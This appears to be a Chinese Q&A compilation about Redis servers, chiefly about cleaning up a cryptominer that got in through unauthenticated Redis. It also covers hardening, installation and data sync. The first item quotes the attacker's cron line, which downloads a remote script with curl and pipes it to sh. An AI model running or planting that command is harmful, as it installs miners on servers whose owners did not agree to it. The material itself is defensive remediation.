伺服器redis被挖礦
① 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
② 查看伺服器上有沒有redis的命令
可以根據進程名
ps -ef | grep redis-server
或者根據埠來
netstat -ano | grep 6379
③ 如何用Linux伺服器挖礦教程
今天早上起來一看,伺服器腳本一個都沒有啟動!甚是奇怪,遠程登錄伺服器,也是異常的卡,直到最後卡死,只好重新啟動伺服器!
啟動之後沒一會又會變卡,越來越卡,top查看進程!不覺又奇怪的進程,因為平常也不經常看!所以自己也搞不明白怎麼回事兒!只好到群里問了問,說是被挖礦的掛了木馬文件了,是由於redis的漏洞!
後來我自己發現,原來redis遠程可以直接登錄,原以為redis和mysql不開放登錄許可權就不會支持遠程登錄呢,看來是我想多了
看了好長時間才發現一個異常的進程,自啟的進程 molibe !
找到進程位置 ps -ef|grep molibe ;
在tmp目錄下,打開一看的確是有
chmod -x molibe 取消執行許可權在來到/var/spool/cron下,cat root 查看定時器的執行發現之前腳本都被改了,顧不得刪除cron,service crond restart 重新啟動,再有就時kill 掉molibe進程
這樣大概整個就結束了!但是根本是因為redis漏洞,所以還是補上吧
首先修改redis'埠,找到redis.conf文件 port **** 修改埠號再有就是必須修改密碼 # requirepass ******** 去除#號重新啟動 /redis/src/redis-server /redis/redis-conf
啟動成功之後
redis/redis-cli -p ****(埠) -a *****(密碼)
④ 如何通過一個伺服器訪問兩一個伺服器的redis
在windows系統下安裝多個Redis實例。伺服器裝有一個Redis實例,隨著項目的進行,需要安裝多個實例才可以。直接安裝是只會有6379埠,需要採用下面的方式來安裝。本示例講解的是:redis-2.4.6-setup-64-bit.exe 和redis-2.8.17 windows MSOpen。工具/原料
Redis安裝文件
CMD命令提示符
方法/步驟
下載安裝文件,選擇穩定版本
點擊安裝exe文件,進行安裝。選擇好路徑,一直到安裝結束即可。
點擊Service查看Redis服務是否正確的安裝。Windows--》Service.msc。默認的埠為6379。服務已啟動。
使用客戶端工具進行連接,出現如下畫面即成功。
使用CMD工具,安裝另一個Redis實例服務,埠為6369. 需要提前建好6369埠使用的conf文件
如:C:\Users\Gray>E:\redis-2.8.17\redis-server.exe --service-install E:\redis-2.8.17\redis6369.conf --service-name RedisServer6369 --port 6369
試驗了幾次都沒有提示成功的信息,但是查看服務成功了,而且用客戶端連接也成功了。
查看6369埠的redis服務
步驟閱讀
7
使用客戶端連接6369 redis服務,出現如下界面表示成功
⑤ 兩台伺服器,一個放程序的,一個放資料庫換季,redis裝在哪個伺服器上好
應用Redis實現數據的讀寫,同時利用隊列處理器定時將數據寫入mysql,此種情況存在的問題主要是如何保證mysql與redis的數據同步,二者數據同步的關鍵在於mysql資料庫中
主鍵,方案是在redis啟動時去mysql讀取所有表鍵值存入redis中,往redis寫數據時,對redis主鍵自增並進行讀取,若mysql更新
失敗,則需要及時清除緩存及同步redis主鍵。Stringtbname="login";//獲取mysql表主鍵值--redis啟動時
longid=MySQL.getID(tbname);//設置redis主鍵值--redis啟動時
redisService.set(tbname,String.valueOf(id));System.out.println(id);longl=redisService.incr(tbname);
System.out.println(l);Loginlogin=newLogin();login.setId(l);
login.setName("redis");redisService.hmset(String.valueOf(login.getId()),login);booleanb=MySQL.insert("insertintologin(id,name)values("+login.getId()+",'"+login.getName()+"')");
/****隊列處理器更新mysql失敗:**清除緩存數據,同時主鍵值自減*/if(!b)
{redisService.delKeyAndDecr(tbname,"Login:"+String.valueOf(login.getId()));}System.out.println(redisService.exists("Login:"+String.valueOf(login.getId())));System.out.println(redisService.get(tbname))
⑥ 如何查看伺服器上裝了redis
ps -aux | grep redis-server
⑦ 一台伺服器 搭建redis 集群的節點ip 為啥是127.0.0.1
所有的設備都使用127.0.0.1這個ip代表本地ip使用,不對外發布
⑧ 應用部署到伺服器redis無法讀取數據
redis日誌找出來看看,應該會有報錯信息
⑨ 如何在阿里雲伺服器部署Redis第一篇
首先需要進行redis安裝
1.從redis官網https://redis.io/download下載redis的linux版本包;
2.通過ftp軟體上傳到伺服器;
3.使用解壓命令tar -zvxf redis-3.0.7.tar.gz進行解壓;
4.cd redis-3.0.7/進入redis包,使用"make"進行編譯,若沒有make命令可根據提示進行make的apt install操作安裝;
5.進入src文件夾並使用make install命令安裝redis,使用ls可查看安裝結果。
redis安裝完成後還需要對redis服務進行部署
⑩ 如何檢查伺服器配置的redis正常鏈接
1、在集群內部,使用iptable允許哪些集群內部的伺服器可以訪問。
2、在集群外部,有時候需要通過客戶端工具來管理redis,這時候需要在集群內部架設vpn,並且該vpn的伺服器能夠允許訪問redis伺服器,這樣,公網上的主機可以使用該vpn,通過redis客戶端管理redis。